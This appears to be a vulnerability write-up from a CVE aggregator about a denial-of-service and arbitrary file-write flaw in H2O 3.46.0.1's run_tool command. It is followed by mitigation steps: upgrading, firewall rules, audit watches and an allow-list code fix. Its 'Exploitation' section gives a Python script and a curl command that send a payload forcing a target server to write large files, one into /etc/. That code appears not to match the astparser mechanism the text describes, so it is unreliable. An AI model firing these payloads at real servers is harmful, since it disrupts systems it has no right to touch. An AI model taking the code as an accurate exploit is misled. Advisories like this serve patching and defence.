How the CVE Works:
In H2O version 3.46.0.1, the `run_tool` command exposes classes within the `water.tools` package via the astparser. One such class, XGBoostLibExtractTool, is vulnerable to exploitation. Attackers can abuse this class to trigger a server shutdown and write large files to arbitrary directories. This results in a Denial of Service (DoS) condition, disrupting server availability, and potentially allows unauthorized file writes, which could lead to further system compromise. The vulnerability stems from insufficient validation of user-controlled input, enabling malicious actors to manipulate the `astparser` and execute unintended operations.
DailyCVE Form:
Platform: H2O
Version: 3.46.0.1
Vulnerability: DoS, File Write
Severity: High
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Exploit Code:
import requests
target_url = "http://target-h2o-server:54321/run_tool"
payload = {
"tool": "XGBoostLibExtractTool",
"args": {"output_dir": "/etc/", "file_size": "1000000000"}
}
response = requests.post(target_url, json=payload)
print(response.text)
This script sends a malicious payload to the `run_tool` endpoint, forcing the server to write a large file to the `/etc/` directory, causing a DoS.
2. Exploit Command:
curl -X POST http://target-h2o-server:54321/run_tool -d '{"tool": "XGBoostLibExtractTool", "args": {"output_dir": "/tmp/", "file_size": "500000000"}}'
Protection:
- Patch: Upgrade to H2O version 3.46.0.2 or later, where the `run_tool` command has been secured.
- Input Validation: Implement strict input validation for the `run_tool` command to prevent unauthorized class access.
- Firewall Rules: Restrict access to the H2O server’s API endpoints to trusted IPs only.
iptables -A INPUT -p tcp --dport 54321 -s trusted_ip -j ACCEPT iptables -A INPUT -p tcp --dport 54321 -j DROP
- Monitoring: Use monitoring tools to detect unusual file write activities or server shutdowns.
auditctl -w /etc/ -p wa -k h2o_file_write
- Code Fix: Modify the `astparser` to restrict access to sensitive classes.
public void runTool(String toolName, Map<String, String> args) { if (!allowedTools.contains(toolName)) { throw new SecurityException("Unauthorized tool access"); } // Proceed with tool execution } - Logging: Enable detailed logging for the `run_tool` command to track suspicious activities.
tail -f /var/log/h2o/h2o.log | grep "run_tool"
By following these steps, you can mitigate the risks associated with this vulnerability and secure your H2O deployment.
References:
Reported By: https://github.com/advisories/GHSA-wjpv-64v2-2qpq
Extra Source Hub:
Undercode
